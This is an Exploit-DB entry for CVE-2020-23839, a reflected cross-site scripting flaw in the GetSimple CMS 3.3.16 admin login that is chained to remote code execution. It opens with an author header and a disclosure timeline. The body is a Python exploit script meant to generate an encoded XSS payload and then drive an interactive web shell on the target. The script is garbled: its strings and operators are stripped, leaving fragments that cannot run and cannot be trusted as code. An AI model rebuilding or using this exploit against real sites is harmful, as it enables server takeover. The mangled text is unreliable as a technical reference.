标题: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting EDB-ID: 49726 CVE: 2020-23839 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-30 漏洞利用脚本: # Exploit Title: GetSimple CMS 3.3.16 - Reflected XSS to RCE
# Exploit Author: Bobby Cooke (boku)
# Discovery Credits: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: March 29th, 2021
# CVE ID: CVE-2020-23839 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23839
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download/
# Version: v3.3.16
# Tested against Server Host: Windows 10 Pro + XAMPP
# Tested against Client Browsers: Firefox(Linux), Chrome (Linux & Windows), Edge
# Full Disclosure & Information at: https://github.com/boku7/CVE-2020-23839

#  Vulnerability Description:
#  GetSimple CMS v3.3.16 suffers from a Reflected XSS on the Admin Login Portal. On August 12th, 2020, the vendor received full disclosure details of the vulnerability via private email. The vulnerability was publicly disclosed on September 13th, 2020 #  via MITRE with the publication of CVE-2020-23839, which contained little details and no proof of concept. On January 20th, 2021 full disclosure and code analysis was publicly disclosed under the GetSimple CMS GitHub active issues ticket.












 sysreargparserequests
 urllibparse  quote
 colorama  Fore  F Back  B Style  S
 time  sleep

FTFRFGFYFBFMFCSTSDSB  FRESETFREDFGREENFYELLOWFBLUEFMAGENTAFCYANSRESET_ALLSDIMSBRIGHT
 charcolor
    CFB  color    FR  color    FG 
     SBFBSTSBcharSBFBST
infoerrok  bulletbulletbullet

 SERVER_URL
    
        WEB_SHELL  SERVER_URL
        getdir    
        r  requestsposturlWEB_SHELL datagetdir verify
        status  rstatus_code
        cwd  refindallr rtext
         cwd
            cwd  cwd
            term  SBFGcwdFT
            SDFRFYFRFTSTSBSTSDFRFYFRFTST
             
                thought  term
                command   thought
                r  requestspostWEB_SHELL datacommand verify
                status  rstatus_code
                 status  
                    rraise_for_status
                response  rtext
                response
        
            rraise_for_status
    
        

 javascript
     quotejavascript

 
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
    XSS_PAYLOAD  
     XSS_PAYLOAD

 
    about   SBFTST
    parser  argparseArgumentParserdescriptionabout
    parseradd_argument
    args  parserparse_args
     args

 __name__  
    SBFBFTFBFTFB
    SBFRFTFRFT
    FRFTFRFTFRFTFRST
    args  argsetup
    RHOST  argsTargetSite
    WEBAPP_URL  RHOST
    WEBAPP_URL  WEBAPP_URL
    PAYLOAD  genXssPayload
    ENCODED_PAYLOAD  urlEncodePAYLOAD
    infoFTSBFBSBFCSTSBFMSTSBFRST
    SBFBWEBAPP_URLENCODED_PAYLOADST
    sleep
    ok
     
        sleep
        webshellRHOST URL: https://www.exploit-db.com/exploits/49726